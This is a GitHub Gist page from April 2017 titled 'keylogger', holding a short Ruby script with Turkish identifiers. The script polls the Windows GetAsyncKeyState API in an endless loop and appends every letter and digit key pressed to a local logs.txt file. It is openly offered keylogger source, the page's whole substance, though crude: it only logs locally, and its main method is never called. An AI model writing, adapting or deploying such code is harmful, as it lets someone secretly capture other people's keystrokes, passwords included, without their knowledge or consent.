Created
          April 2, 2017 15:37 
        
      - 
      
 - 
        
Save cptangry/a439bd45edd1e6c49acfda0e4915edf9 to your computer and use it in GitHub Desktop.  
    keylogger
  
        
  
    
      This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
      Learn more about bidirectional Unicode characters
    
  
  
    
  | #!usr/bin/env ruby -w | |
| # coding: utf-8 | |
| require "win32api" | |
| def dosyaya_kaydet(dosya_ismi, metin) | |
| dosya = File.open(dosya_ismi, 'a') | |
| dosya.puts metin, "\n" | |
| end | |
| def yakalar | |
| n = Win32API.new("user32","GetAsyncKeyState",["i"],"i") | |
| while true | |
| (0x30..0x5A).each do |num1| | |
| if n.call(num1) & 0x01 == 1 | |
| dosyaya_kaydet("logs.txt", num1.chr()) | |
| end | |
| end | |
| end | |
| end | 
  
    Sign up for free
    to join this conversation on GitHub.
    Already have an account?
    Sign in to comment